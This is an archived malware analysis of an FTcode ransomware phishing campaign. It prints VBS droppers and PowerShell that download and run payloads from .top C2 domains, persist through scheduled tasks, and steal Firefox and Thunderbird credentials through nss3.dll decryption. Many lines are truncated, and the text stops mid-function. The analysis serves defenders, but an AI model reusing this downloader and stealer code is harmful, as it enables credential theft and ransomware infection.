{
	"id": "09cd744d-22b3-4416-8248-09089adfdf08",
	"created_at": "2026-04-06T00:15:40.776997Z",
	"updated_at": "2026-04-10T03:36:36.764208Z",
	"deleted_at": null,
	"sha1_hash": "9057d7f528b0f37a9a7f40c2fdb4c0d88ece7fc8",
	"title": "CyberThreatIntel/Additional Analysis/Unknown/2020-06-22/Analysis.md at master · StrangerealIntel/CyberThreatIntel",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 623371,
	"plain_text": "CyberThreatIntel/Additional Analysis/Unknown/2020-06-\r\n22/Analysis.md at master · StrangerealIntel/CyberThreatIntel\r\nBy StrangerealIntel\r\nArchived: 2026-04-05 13:46:54 UTC\r\nFTcode targets European countries\r\nTable of Contents\r\nMalware analysis\r\nCyber kill chain\r\nIndicators Of Compromise (IOC)\r\nReferences MITRE ATT\u0026CK Matrix\r\nLinks\r\nOriginal Tweet\r\nLink Anyrun\r\nReferences\r\nMalware analysis\r\nThe initial vector used by the Threat Actor is a common phishing campaign which contents, a malicious archive. This archive has a compressed composed of the\r\nvbs script and lot empty slot of data for avoid the sandbox analysis (between 40MB to 243MB).\r\nThis focus the companies and court with notification as theme of mail of phishing.\r\nHere, some samples of mails used for the campaign and thanks to JAMESWT for sharing the pictures and information.\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 1 of 26\n\nTwo variants of the VBS script have been observed, one perform the register action as new client to infect with the ransomware. The second use in more stealer\r\nactions by NET class. Thanks to reecdeep for sharing some samples and information\r\nThe first variant use regular expression (regex) for parse each lines, the result is merged for be the command to execute by shell call.\r\nSet Regex = New RegExp\r\nRegex.Pattern = \"(.+)O(.+)\"\r\nFunction Decode( input)\r\n Data = Data + Chr( ( Build( input, \"$2\")) - ( Build( input, \"$1\")) )\r\nEnd Function\r\nMod = 0\r\nData = \"\"\r\nDecode \"521O633\"\r\n'[...]\r\nDecode \"459O518\"\r\nCreateObject(\"WScript.Shell\").Run Data, Mod\r\nData = \"\"\r\nFunction Build(a, b)\r\nBuild = CInt( Regex.Replace(a, b))\r\nEnd Function\r\nMsgBox \"Bad archive\"\r\nThe second VBS use too a regex for parse each line and select the data at each X defined elements (here 7) and merge all for getting the command to execute. On\r\ncompared to the first VBS, we can note that the structure is the same with a different algorithm.\r\nDim Regex, Mod, Data\r\nSet Regex = New RegExp\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 2 of 26\n\nRegex.Pattern = \"(.{7})(.)\"\r\nRegex.Global = True\r\nMod = 0\r\nData = \"\"\r\nSub DecodeData\r\nDecode \"mp\u003c}JMRpBUCwlcgoJLlckgzwD; [...] Sas{X-H.I{mObW\"\r\nDecode \"LfzDqZdi\"\r\n'[...]\r\nEnd Sub\r\nFunction build ( a )\r\n Data = Data \u0026 a\r\nEnd Function\r\nFunction Decode (input)\r\n build( Regex.Replace(input, \"$2\" ) )\r\nEnd Function\r\nDecodeData\r\nCreateObject(\"WScript.Shell\").Run Data, Mod ' run decoded command\r\nMod= \"iawzi\"\r\n'giovedi 8855 marzo\r\nBy the retrohunt, the group seems increment its algorithm on the same template at each sending mass mails by batches of mails of theirs campaign, it can be\r\ninteresting to use this reference for hunting.\r\nBoth have the same method for the next steps of the operations, this uses the downloadString method for getting the bytes, convert from the base 64 and execute\r\nit in memory.\r\npowershell uvywg=\"gzzhv\";\r\niex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Objec\r\nThe first part define the variables for the different paths, URL and payloads. Create the following folder if don't exists.\r\n$path_lib = $env:PUBLIC + \"\\Libraries\"\r\nif (-not (Test-Path $path_lib)) { md $path_lib; }\r\n$path_vbs = $path_lib + \"\\WindowsIndexingService.vbs\";\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 3 of 26\n\n$path_tmp = $env:temp + \"\\AFX50058.tmp\";\r\n$path_db = $path_lib + \"\\tsource.db\";\r\n$myurlpost = $false;\r\n$pay = \"w\";\r\nThe following functions give the date for creating the timestamp used for stops the current process. The second function stop the process if an exception is\r\nthrowing on to collect process. The last function sends a call for register action as first and for getting the ransomware on the second time.\r\nfunction iamwork2() { sc -Path $path_tmp -Value $(Get-Date); }\r\nfunction cleanup($input)\r\n{\r\n if($input -match 'OutOfMemoryException')\r\n {\r\n ri - Path $path_tmp -Force; #ri -\u003e Remove-Item\r\n get-process powershell* | stop-process;\r\n exit;\r\n };\r\n}\r\nfunction sendpost2($input)\r\n{\r\n if(!$myurlpost){ return $false; };\r\n $netclient = New-Object System.Net.WebClient;\r\n $netclient.Credentials = [System.Net.CredentialCache]::DefaultCredentials;\r\n $netclient.Headers.Add(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n $netclient.Encoding = [System.Text.Encoding]::UTF8;\r\n try\r\n {\r\n $rep = $netclient.UploadString($myurlpost,\"l=\"+[Convert]::ToBase64String([Text.Encoding]::UTF8.Ge\r\n if(!$pay){ return $false; }\r\n $refComp, $ParsedRep = $rep.split(\",\");\r\n $ref = [Convert]::ToBase64String($cryptokey.ComputeHash([Text.Encoding]::ASCII.GetBytes($ParsedRe\r\n if($ref -eq $refComp){ return ([string][System.Text.Encoding]::ASCII.GetString([System.Convert]:\r\n }\r\n catch{ cleanup $_.Exception.Message; };\r\n return $false;\r\n};\r\nThe next block of functionsare for the registration of the victims on the waiting list of the attacker and for the timestramp used for automatically stop the process\r\nafter 15 minutes. The algorithm for generating the domains uses a list of string in base 64 and the date. These domains seem more like a lure that a real domain.\r\nfunction SendRegister($datatoc2)\r\n{\r\n $baseURL = \"http://z2uymda1mtk.top/\";\r\n \"ge\",\"6h\",\"sp\",\"FT\",\"4H\",\"fW\",\"mP\" | %{ $baseURL += \",\"+\"http://\"+ ([Convert]::ToBase64String([Syst\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 4 of 26\n\n#$baseurl -\u003e http://z2uymda1mtk.top/,http://z2uymda2mju=.top/,http://nmgymda2mju=.top/,http://c3aym\r\n $baseURL.split(\",\") | %{\r\n if(!$myurlpost){\r\n $myurlpost = $_ -replace \"=\", \"\";\r\n #[\"http://z2uymda1mtk.top/\",\"http://z2uymda2mju.top/\",\"http://nmgymda2mju.top/\",\"http://c3aymda\r\n if(!(sendpost2 ($datatoc2 + \"\u0026domen=$myurlpost\"))){ $myurlpost = $false; };\r\n Start-Sleep -s 5;\r\n }\r\n };\r\n if($datatoc2 -match \"status=register\"){return \"ok\";}\r\n else{return $myurlpost;}\r\n};\r\n#Force remove item again\r\nif (Test-Path $path_tmp)\r\n{\r\n if (((NEW-TIMESPAN -Start ((Get-ChildItem $path_tmp).CreationTime) -End (Get-Date)).Minutes) -gt 15\r\n {\r\n ri -Path $path_tmp -Force;\r\n try{ get-process powershell* | stop-process } catch{};\r\n exit;\r\n }\r\n else{ exit; };\r\n};\r\nThe last block of code creates a new GUID for the key of IV for the file encryption process with AES and sends the registration pulse to C2 domains. At each\r\npulse after the registration, if the response isn't changed by the attacker, this drops and executes the same initial VBS for reinfect the victim.\r\nfunction GenerateRegister($input)\r\n{\r\n if($input)\r\n {\r\n $rawGUID = [guid]::NewGuid();\r\n $GUID = ([guid]::NewGuid() -replace '-','').Substring(0,16);\r\n $cryptokey.key = [Text.Encoding]::ASCII.GetBytes($GUID);\r\n $bannerData = \"status=register\u0026ssid=$GUID\u0026os=\"+([string]$PSVersionTable.BuildVersion)+\"\u0026psver=\"+\r\n $ydtfbhdh = SendRegister $bannerData;\r\n if($ydtfbhdh -ne \"ok\"){ exit; }\r\n sc -Path $path_db -Value ($rawGUID, $GUID -join ',') -Force;\r\n gi $path_db -Force | %{ $_.Attributes = \"Hidden\" };\r\n }\r\n return (get-content $path_db).split(',');\r\n}\r\n$cryptokey = New-Object System.Security.Cryptography.HMACSHA256;\r\n$task = (schtasks.exe /create /TN \"WindowsApplicationService\" /sc DAILY /st 00:00 /f /RI 14 /du 23:59\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 5 of 26\n\n# Execute VBS file each 14 minutes and warning alerts are disable\r\nif (Test-Path $path_db) #Load if found\r\n{\r\n $rawGUID, $GUID = GenerateRegister $false;\r\n if($GUID.length -ne 16 ){ $rawGUID, $GUID = GenerateRegister $true; }\r\n}\r\nelse{ $rawGUID, $GUID = GenerateRegister $true;}\r\n$cryptokey.key = [Text.Encoding]::ASCII.GetBytes($GUID);\r\n$myurlpost = SendRegister;\r\nwhile($pay)\r\n{\r\n iamwork2;\r\n try\r\n {\r\n if($pay -and ($pay.length -gt 30) ){ iex $pay;};\r\n }\r\n catch{ cleanup $_.Exception.Message; };\r\n Start-Sleep -s 280;\r\n $pay = sendpost2;\r\n};\r\nri -Path $path_tmp -Force;\r\nA second variant of the code use an additional class in .NET for stealing the credentials. The first block of code content the same structure with the variables and\r\nadd the create of the persistence method by task scheduled. The first new functionality is that sends return of operation to the C2 but only push success of fail\r\noperation, no one debug value are present for know the reason of the failure operation, that proves that the TA is more interested by the return of the successful\r\nstolen data. Whether as attacker that you are in a red team or a well organized cybercriminal group, having debug informations is important for know the\r\nreasons or and idea of problems (action blocked by AMSI, AV, invalid rights, unknown error with a specific build OS ...) and keep a fix or an alternative method\r\nfor bypass the problem. This already gives the idea that the TA is only motived for the instant gain not as resell interesting infrastructures before ransom it\r\n(TA505 to silence by examples), for a botnet or intermediate C2 platform structure.\r\ntry\r\n{\r\n $path_lib = $env:PUBLIC + \"\\Libraries\"\r\n if (-not (Test-Path $path_lib)) { md $path_lib; }\r\n $path_vbs = $path_lib + \"\\WindowsIndexingService.vbs\";\r\n $netclient = New-Object System.Net.WebClient;\r\n $netclient.Credentials = [System.Net.CredentialCache]::DefaultCredentials;\r\n $netclient.DownloadString(\"http://z2uymda1mtk.top/?need=ma7dd05\u0026\") | out-file $path_vbs;\r\n schtasks.exe /create /TN \"WindowsApplicationService\" /sc DAILY /st 00:00 /f /RI 16 /du 23:59 /TR $p\r\n}\r\ncatch{}\r\nfunction SendStringToC2( $DatatoSend )\r\n{\r\n $netclient = New-Object System.Net.WebClient;\r\n $netclient.Credentials = [System.Net.CredentialCache]::DefaultCredentials;\r\n $netclient.Headers.Add(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n $netclient.Encoding = [System.Text.Encoding]::UTF8;\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 6 of 26\n\ntry\r\n {\r\n $RepCode = $netclient.UploadString( \"http://z2uymda1mtk.top/\", \"guid=temp_9192217407\u0026\" + $DatatoS\r\n return $RepCode;\r\n }\r\n catch{};\r\n return $false;\r\n};\r\nThis next function is used for recognized the format of the payload send by the C2 by magic numbers, if this a PE, a COM executable or a encrypt payload (by\r\nunknown flag). This section is correctly coded and are very different of the rest of the code, seems to be a copy/paste or another person of the group have coded\r\nthis part.\r\nfunction Get-ExecutableType\r\n{\r\n [CmdletBinding()]\r\n param (\r\n [Parameter(Mandatory = $true)]\r\n [ValidateScript({ Test-Path -LiteralPath $_ -PathType Leaf })]\r\n [string]\r\n $Path\r\n )\r\n try\r\n {\r\n try\r\n {\r\n $stream = New-Object System.IO.FileStream(\r\n $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path),\r\n [System.IO.FileMode]::Open,\r\n [System.IO.FileAccess]::Read,\r\n [System.IO.FileShare]::Read\r\n )\r\n }\r\n catch\r\n {\r\n SendStringToC2 \"crederror=ERR:Error opening file $Path for Read: $($_.Exception.Message)\";\r\n throw\r\n }\r\n $exeType = 'Unknown'\r\n if ([System.IO.Path]::GetExtension($Path) -eq '.COM'){ $exeType = '16-bit'} #COM Object\r\n $bytes = New-Object byte[](4) # Header of payload -\u003e check Magic numbers\r\n if ( ($stream.Length -ge 64) -and ($stream.Read($bytes, 0, 2) -eq 2) -and ($bytes[0] -eq 0x4D\r\n {\r\n $exeType = 16\r\n if ( ($stream.Seek(0x3C, [System.IO.SeekOrigin]::Begin) -eq 0x3C) -and ($stream.Read($byt\r\n {\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 7 of 26\n\nif (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 4) } #C\r\n $peHeaderOffset = [System.BitConverter]::ToUInt32($bytes, 0) # Get Offset\r\n if ($stream.Length -ge $peHeaderOffset + 6 -and\r\n $stream.Seek($peHeaderOffset, [System.IO.SeekOrigin]::Begin) -eq $peHeaderOffset\r\n $stream.Read($bytes, 0, 4) -eq 4 -and\r\n $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x45 -and $bytes[2] -eq 0 -and $bytes[3] -e\r\n {\r\n $exeType = 'Unknown'\r\n if ($stream.Read($bytes, 0, 2) -eq 2)\r\n {\r\n if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0\r\n $machineType = [System.BitConverter]::ToUInt16($bytes, 0)\r\n switch ($machineType) #check Arch system\r\n {\r\n 0x014C { $exeType = 32 }\r\n 0x0200 { $exeType = 64 }\r\n 0x8664 { $exeType = 64 }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n return $exeType\r\n }\r\n catch {throw} #Push exception\r\n finally { if ($null -ne $stream) { $stream.Dispose() } } #Free unmanaged resources\r\n}\r\nHere, we can see the begin a .NET class that can be invoked, create the log on the Temp folder and declare the function for merge all the data of an array of data\r\nstolen by a method executed (for mozilla, chrome software...)\r\n$stillerBlock = {\r\n$ErrorActionPreference = \"SilentlyContinue\"\r\n$global:log = [System.IO.Path]::GetTempFileName() #Path of the log\r\ntry{ Start-Transcript -Append $global:log; }\r\ncatch{}\r\nfunction mergeInfo($data, $info)\r\n{\r\n try\r\n {\r\n foreach($record in $data.info.Keys)\r\n {\r\n if($info.info[$record.ToString()] -eq $null) { $info.info[$record] = @() }\r\n foreach($value in $data.info[$record]) { $info.info[$record] += @{ [string]$value.Keys = [stri\r\n }\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 8 of 26\n\n}\r\n catch{ SendStringToC2 \"crederror=ERR:mergeInfo: $($_.Exception.Message)\"; }\r\n}\r\nThe next function is used for the dump of the credentials of Mozilla Software (Firefox and Thunderbird). This check in testing the validity of the paths (32 and\r\n64 bytes) with the recovery dll (that used later for extraction of data), at the first valid path is copy it and stop the loop. This returns an default error if nothing\r\nfound. This logic is stupid this only detect the presence of Mozilla software but don't give valuable informations like the valide paths for listing as first and avoid\r\nto make a second time the tries on the system (be more stealth) and for the debug, imagine that tomorrow Mozilla change the format of the data, you can know\r\nthat you have found valid files but your method don't works for any reason.\r\nFunction ff_dump\r\n{\r\n try\r\n {\r\n $ffInfo = @{}\r\n $ffError = \"SUCCESS\"\r\n $mPaths = @(\"$env:SystemDrive\\Program Files\\Mozilla Firefox\", \"$env:SystemDrive\\Program Files\r\n $mozillaPath = $null\r\n foreach($path in $mPaths)\r\n {\r\n $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))\r\n if([System.IO.File]::Exists($nssPath))\r\n {\r\n $mozillaPath = ([string]$path)\r\n break # if one of path is true, break the loop and add the path\r\n }\r\n }\r\n #if nothing found return the error\r\n if($mozillaPath -eq $null) { return @{\"logs\" = \"$global:log\"; \"error\" = $ffError; \"info\" = $\r\nOnce that this checked, this try to check if the Web extensions that the old .NET frameworks disable by default. This is used for the script, for the final request.\r\nThis import after the class which use the dll in the two structures.\r\n try { Add-Type -AssemblyName System.web.extensions } # System.Web.Extensions contains all th\r\n catch { return @{\"logs\" = \"$global:log\"; \"error\" = \"Load WEB assembly\"; \"info\" = $ffInfo} }\r\n $netStructs = @\"\r\n public struct TSECItem2\r\n {\r\n public int SECItemType;\r\n public int SECItemData;\r\n public int SECItemLen;\r\n }\r\n public struct SlotInfo {}\r\n\"@\r\n $cp = New-Object System.CodeDom.Compiler.CompilerParameters\r\n $cp.CompilerOptions = '/unsafe'\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 9 of 26\n\nAdd-Type -TypeDefinition $netStructs -Language CSharp -CompilerParameters $cp #initiate NET s\r\n $netCode = @\"\r\n using System;\r\n using System.Diagnostics;\r\n using System.Runtime.InteropServices;\r\n using System.Text;\r\n public static class nss3\r\n {\r\n [DllImport(\"nss3.dll\", EntryPoint = \"PL_Base64Decode\", CallingConvention = Callin\r\n public static extern IntPtr PL_Base64Decode(IntPtr inStr, int inLen, IntPtr o\r\n \r\n [DllImport(\"nss3.dll\", CharSet=CharSet.Auto)]\r\n public static extern IntPtr PK11_GetInternalKeySlot();\r\n \r\n [DllImport(\"nss3.dll\", CharSet=CharSet.Auto)]\r\n public static extern void PK11_FreeSlot(IntPtr SlotInfoPtr);\r\n \r\n [DllImport(\"nss3.dll\", CharSet=CharSet.Auto)]\r\n public static extern int PK11_CheckUserPassword(IntPtr slotInfo, string pwd)\r\n \r\n [DllImport(\"nss3.dll\", EntryPoint = \"PK11SDR_Decrypt\", CallingConvention = Callin\r\n public static extern int PK11SDR_Decrypt(IntPtr dataIn, IntPtr dataOut, stri\r\n [DllImport(\"nss3.dll\", EntryPoint = \"SECITEM_ZfreeItem\", CallingConvention = Call\r\n public static extern void SECITEM_ZfreeItem(IntPtr secItem, int count);\r\n \r\n [DllImport(\"nss3.dll\", EntryPoint = \"NSSUTIL_GetVersion\", CallingConvention = Cal\r\n public static extern IntPtr NSSUTIL_GetVersion();\r\n [DllImport(\"nss3.dll\", EntryPoint = \"NSS_IsInitialized\", CallingConvention = Call\r\n public static extern bool NSS_IsInitialized();\r\n \r\n [DllImport(\"nss3.dll\", EntryPoint = \"NSS_Init\", CallingConvention = CallingConven\r\n public static extern int NSS_Init(byte[] path);\r\n \r\n [DllImport(\"nss3.dll\", EntryPoint = \"NSS_Shutdown\", CallingConvention = CallingCo\r\n public static extern int NSS_Shutdown();\r\n \r\n [DllImport(\"nss3.dll\", CharSet=CharSet.Auto)]\r\n public static extern int PORT_GetError();\r\n \r\n [DllImport(\"nss3.dll\", CharSet=CharSet.Auto)]\r\n public static extern IntPtr PR_ErrorToName(int err);\r\n }\r\n internal static class UnsafeNativeMethods\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 10 of 26\n\n{\r\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\r\n internal static extern IntPtr LoadLibrary(string lpFileName);\r\n \r\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\r\n internal static extern bool FreeLibrary(IntPtr hModule);\r\n \r\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\r\n internal static extern bool SetDllDirectoryW(string lpPathName);\r\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, CallingConvention = CallingCon\r\n internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName\r\n }\r\n public static class Stiller # You want say \"Stealer\" ? lol\r\n {\r\n static IntPtr pk11slot = IntPtr.Zero;\r\n static IntPtr vcruntime140dll = IntPtr.Zero;\r\n static IntPtr msvcp140dll = IntPtr.Zero;\r\n static IntPtr mozgluedll = IntPtr.Zero;\r\n static IntPtr nss3dll = IntPtr.Zero;\r\n public static void loadHelpers(string ffPath)\r\n {\r\n Stiller.vcruntime140dll = UnsafeNativeMethods.LoadLibrary(ffPath + \"\\\\vcrunti\r\n Stiller.msvcp140dll = UnsafeNativeMethods.LoadLibrary(ffPath + \"\\\\msvcp140.dl\r\n Stiller.mozgluedll = UnsafeNativeMethods.LoadLibrary(ffPath + \"\\\\mozglue.dll\r\n }\r\n public static IntPtr loadNSS3(string ffPath)\r\n {\r\n IntPtr nss3 = UnsafeNativeMethods.LoadLibrary(ffPath + \"\\\\nss3.dll\");\r\n Stiller.nss3dll = nss3;\r\n return nss3;\r\n }\r\n \r\n public static bool initFF(string ffPath, string profilePath)\r\n {\r\n bool result = false;\r\n loadHelpers(ffPath);\r\n if(loadNSS3(ffPath) != IntPtr.Zero)\r\n {\r\n IntPtr nV = nss3.NSSUTIL_GetVersion();\r\n int nssInitRez = nss3.NSS_Init(Encoding.ASCII.GetBytes(profilePath))\r\n if(nssInitRez == 0)\r\n {\r\n pk11slot = nss3.PK11_GetInternalKeySlot();\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 11 of 26\n\nint checkPwd = nss3.PK11_CheckUserPassword(pk11slot, \"\");\r\n if(checkPwd == 0) { result = true; }\r\n }\r\n }\r\n return result;\r\n }\r\n \r\n public static void shutdownFF()\r\n {\r\n nss3.PK11_FreeSlot(pk11slot);\r\n int rez = nss3.NSS_Shutdown();\r\n UnsafeNativeMethods.FreeLibrary(nss3dll);\r\n UnsafeNativeMethods.FreeLibrary(Stiller.mozgluedll);\r\n UnsafeNativeMethods.FreeLibrary(Stiller.msvcp140dll);\r\n UnsafeNativeMethods.FreeLibrary(Stiller.vcruntime140dll);\r\n }\r\n \r\n public struct TSECItemType\r\n {\r\n public int SECItemType;\r\n public IntPtr SECItemData;\r\n public int SECItemLen;\r\n }\r\n \r\n public struct SlotInfo { public long l;}\r\n public static string decodeData(string profilePath, string dataEnc, byte[] unBase\r\n {\r\n string decoded = \"\";\r\n try\r\n {\r\n bool nssIsInit = nss3.NSS_IsInitialized();\r\n if(!nssIsInit) { return \"\"; }\r\n int TSECItemTypeSize = Marshal.SizeOf(typeof(TSECItemType));\r\n TSECItemType dataIn = new TSECItemType();\r\n dataIn.SECItemData = Marshal.AllocHGlobal(unBase64.Length);\r\n Marshal.Copy(unBase64, 0, dataIn.SECItemData, unBase64.Length);\r\n dataIn.SECItemLen= unBase64.Length;\r\n dataIn.SECItemType= 0;\r\n IntPtr dataOutPtr = Marshal.AllocHGlobal(TSECItemTypeSize);\r\n IntPtr dataInPtr = Marshal.AllocHGlobal(TSECItemTypeSize);\r\n Marshal.StructureToPtr(dataIn, dataInPtr, true);\r\n int decryptRez = nss3.PK11SDR_Decrypt(dataInPtr, dataOutPtr, null);\r\n if(decryptRez != 0) { return \"\"; }\r\n TSECItemType dataOut = (Stiller.TSECItemType)Marshal.PtrToStructure(d\r\n decoded = PtrToStringSized(dataOut.SECItemData, dataOut.SECItemLen);\r\n nss3.SECITEM_ZfreeItem(dataOutPtr, 0);\r\n Marshal.FreeHGlobal(dataInPtr);\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 12 of 26\n\n}\r\n catch { return \"\";}\r\n return decoded;\r\n }\r\n private static string PtrToStringUtf8(IntPtr ptr)\r\n {\r\n if (ptr == IntPtr.Zero) {return \"\";}\r\n int len = 0;\r\n while (System.Runtime.InteropServices.Marshal.ReadByte(ptr, len) != 0){len++\r\n if (len == 0){return \"\";}\r\n byte[] array = new byte[len];\r\n System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);\r\n return System.Text.Encoding.UTF8.GetString(array);\r\n }\r\n private static string PtrToStringSized(IntPtr ptr, int len)\r\n {\r\n if (ptr == IntPtr.Zero){return \"\";}\r\n if (len == 0){return \"\";}\r\n byte[] array = new byte[len];\r\n System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);\r\n return System.Text.Encoding.UTF8.GetString(array);\r\n }\r\n }\r\n\"@\r\nThis initiates the .NET class and define the path of the profile, the fact to use an array with valid softwares by the valid paths will be more stealth, this retry for\r\neach arch version and software. This search to steal the SMTP credentials.\r\n Add-Type -TypeDefinition $netCode -Language CSharp -CompilerParameters $cp2 # Initiate .NET p\r\n $profilePathFF = \"$($env:APPDATA)\\Mozilla\\Firefox\\Profiles\\*.*\"\r\n $profilePathTB = \"$($env:APPDATA)\\ThunderBird\\Profiles\\*.*\"\r\n $defaultProfiles = @()\r\n try\r\n {\r\n $defaultProfiles += $(Get-ChildItem $profilePathFF -ErrorAction SilentlyContinue) | selec\r\n $defaultProfiles += $(Get-ChildItem $profilePathTB -ErrorAction SilentlyContinue) | selec\r\n }\r\n catch {}\r\n # Why don't do an array with the valid path ?\r\n # Test again\r\n if($mozillaPath -ne $null)\r\n {\r\n $nss = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))\r\n If([System.IO.File]::Exists($nss)) #if the dll exists\r\n {\r\n foreach($defaultProfile in $defaultProfiles)\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 13 of 26\n\n{\r\n if($defaultProfile -ne $null )\r\n {\r\n $jsonPath = $(Join-Path ([string]$defaultProfile) ([string]\"logins.json\"))\r\n if([System.IO.File]::Exists($jsonPath))\r\n {\r\n $jsonFile = (Get-Content $jsonPath -ErrorAction SilentlyContinue)\r\n if(!($jsonFile)){}\r\n else\r\n {\r\n $ser = New-Object System.Web.Script.Serialization.JavaScriptSeria\r\n $obj = $ser.DeserializeObject($jsonFile)\r\n $initFF = $([Stiller]::initFF($mozillapath, $defaultProfile));\r\n if($initFF -eq $True)\r\n {\r\n $logins = $obj['logins']\r\n $count = ($logins.Count) - 1\r\n for($i = 0; $i -le $count; $i++)\r\n {\r\n $formUrl = $logins.GetValue($i)['formSubmitURL']\r\n if($formUrl -eq $null)\r\n {\r\n $formUrl = $logins.GetValue($i)['hostname']\r\n if($formUrl -eq $null) { $formUrl = \"empty\" }\r\n }\r\n #Get informations of the profile\r\n if(($formUrl.StartsWith(\"smtp\",\"CurrentCultureIgnoreCase\r\n else\r\n {\r\n $url = ([System.Uri]$formUrl).Host\r\n if($url.Length -eq 0) { $url = \"empty\" }\r\n }\r\n $encPwd = $logins.GetValue($i)['encryptedPassword']\r\n $encUser = $logins.GetValue($i)['encryptedUsername']\r\n if($encPwd.Length -gt 0 -and $encUser.Length -gt 0)\r\n {\r\n $pass = [Stiller]::decodeData($defaultProfile, $encPw\r\n $user = [Stiller]::decodeData($defaultProfile, $encUs\r\n if($ffInfo[$url] -eq $null) { $ffInfo[$url] = @() }\r\n $ffInfo[$url] += @{ [string]$user = [string]$pass }\r\n }\r\n }\r\n [Stiller]::shutdownFF()\r\n }\r\n }\r\n }\r\n else{ $ffError = \"NO PROFILE\"; }\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 14 of 26\n\n}\r\n }\r\n }\r\n else{ $ffError = \"NO ff\\TB\"; }\r\n }\r\n return @{\"logs\" = \"$global:log\"; \"error\" = $ffError; \"info\" = $ffInfo}\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:ff_dump: $($_.Exception.Message)\";}\r\n}\r\nThe next functions are used for decode the value of each character by mathematical operations (power of 2, XOR, floor the resulting value).\r\nFunction __ToInt($ByteArray)\r\n{\r\n try\r\n {\r\n If ($ByteArray.Length -eq 0) { Return 0 } # No data exception\r\n [int32] $i = 0;\r\n $x = 0;\r\n Do { $i = [math]::Floor($i * [math]::Pow(2, 0x8)) -bor ($ByteArray[$x++]) } # Pow 2,8 -\u003e 2^8 -\u003e\r\n While ($x -lt $ByteArray.Length) # Parse all the array\r\n Return $i; # Return final interger\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:__ToInt: $($_.Exception.Message)\"; }\r\n}\r\nFunction ParseVarint($ByteArray, [ref]$VarintSize)\r\n{\r\n try\r\n {\r\n [int32] $Val = 0;\r\n $x = 0;\r\n Do\r\n {\r\n $Byte = $ByteArray[$x++];\r\n $Val = [math]::Floor($Val * [math]::Pow(2, 0x7)) -bor ($Byte -band 0x7F); # Decode the bytes of\r\n }\r\n While($x -lt 8 -and ($Byte -band 0x80))\r\n $VarintSize.Value = $x;\r\n Return $Val; #Get final value\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:ParseVarint: $($_.Exception.Message)\"; }\r\n}\r\n[ref]$VarintSize = 0;\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 15 of 26\n\nThe next three functions check the correct extension (magic numbers of sqlite data) and define the cells of data. Each cell which contents the data is parsed and\r\nanalyzed if this a username, URL, password to decode and add to list of dump data for firefox.\r\nFunction ParseSQLite($Page)\r\n{\r\n try\r\n {\r\n If ($Page[0] -ne 0x0D) { Return } #Wrong Magic Index\r\n $NumCells = __ToInt $Page[0x3..0x4]; # Check number of cells of data\r\n $CellAddrStart = 0x8; #Begin interval\r\n $CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1; #End interval\r\n For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2) #Parse all the cells\r\n {\r\n $CellAddr = __ToInt ($Page[$x .. ($x + 1)]); #Push the address to point\r\n ParseCellSQLite($Page[$CellAddr .. $Page.Length]); # Send the cell to decrypt\r\n }\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:ParseSQLite: $($_.Exception.Message)\"; }\r\n}\r\nFunction ParseCellSQLite($Cell)\r\n{\r\n try\r\n {\r\n $Offset = 0\r\n $PayloadLength = ParseVarint ($Cell[$Offset .. 